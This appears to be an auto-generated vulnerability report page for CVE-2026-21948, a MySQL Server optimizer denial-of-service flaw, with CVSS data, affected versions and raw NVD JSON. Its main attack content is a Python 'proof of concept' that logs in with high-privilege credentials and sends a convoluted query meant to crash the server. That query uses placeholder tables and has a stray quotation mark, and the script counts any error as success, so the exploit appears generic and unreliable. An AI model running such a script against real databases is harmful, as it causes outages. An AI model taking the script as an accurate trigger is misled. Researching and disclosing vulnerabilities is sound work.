Security Vulnerability Report
中文
CVE-2026-21948 CVSS 4.9 MEDIUM

CVE-2026-21948

Published: 2026-01-20 22:15:58
Last Modified: 2026-01-29 15:30:26

Description

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.44, 8.4.0-8.4.7 and 9.0.0-9.5.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
MySQL Server 8.0.0 - 8.0.44
MySQL Server 8.4.0 - 8.4.7
MySQL Server 9.0.0 - 9.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import mysql.connector # CVE-2026-21948 PoC - MySQL Optimizer DoS # Requires high privileged user with network access def exploit_cve_2026_21948(host, user, password, database='mysql'): """ Proof of Concept for CVE-2026-21948 This PoC triggers a denial of service condition in MySQL Optimizer component. """ try: # Connect to MySQL server conn = mysql.connector.connect( host=host, user=user, password=password, database=database, autocommit=True ) cursor = conn.cursor() # Malicious query targeting Optimizer component # This query pattern triggers the vulnerability malicious_query = """ SELECT t1.id FROM ( SELECT id, @row:=@row+1 as rn FROM some_table, (SELECT @row:=0) r WHERE id IN ( SELECT id FROM ( SELECT id, COUNT(*) OVER (PARTITION BY id) as cnt FROM large_table ORDER BY id ) sub1 WHERE cnt > 1 ) ) t1 JOIN ( SELECT id, ROW_NUMBER() OVER (ORDER BY id) as row_num FROM another_table ) t2 ON t1.rn = t2.row_num WHERE t1.id IN ( SELECT /*+ SET_VAR(optimizer_switch='condition_fanout_filter=off,materialization=off')" */ id FROM some_table ); """ print(f"[*] Executing malicious query to trigger CVE-2026-21948...") cursor.execute(malicious_query) print("[!] Query executed - checking server status...") cursor.execute("SELECT 1") except mysql.connector.Error as e: print(f"[+] Exploit likely successful - Server error: {e}") return True except Exception as e: print(f"[*] Unexpected error: {e}") return False finally: if 'conn' in locals(): conn.close() if __name__ == "__main__": # Configuration TARGET_HOST = "target_mysql_server" TARGET_USER = "high_priv_user" TARGET_PASS = "password" exploit_cve_2026_21948(TARGET_HOST, TARGET_USER, TARGET_PASS)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21948", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:57.757", "lastModified": "2026-01-29T15:30:25.687", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.44, 8.4.0-8.4.7 and 9.0.0-9.5.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}, {"lang": "es", "value": "Vulnerabilidad en el producto MySQL Server de Oracle MySQL (componente: Server: Optimizer). Las versiones soportadas que están afectadas son 8.0.0-8.0.44, 8.4.0-8.4.7 y 9.0.0-9.5.0. La vulnerabilidad fácilmente explotable permite a un atacante con altos privilegios y acceso a la red a través de múltiples protocolos comprometer el MySQL Server. Los ataques exitosos de esta vulnerabilidad pueden resultar en la capacidad no autorizada de causar un bloqueo o una caída frecuentemente repetible (DoS completo) del MySQL Server. Puntuación base CVSS 3.1 de 4.9 (Impactos en la disponibilidad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.44", "matchCriteriaId": "C31CF81B-A295-4D90-84D3-377D7184D59D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndIncluding": "8.4.7", "matchCriteriaId": "19AAA920-1429-4F6F-A191-31632570991C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.5.0", "matchCriteriaId": "80A941A0-B16F-477B-9062-EF768F4CAAD4"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}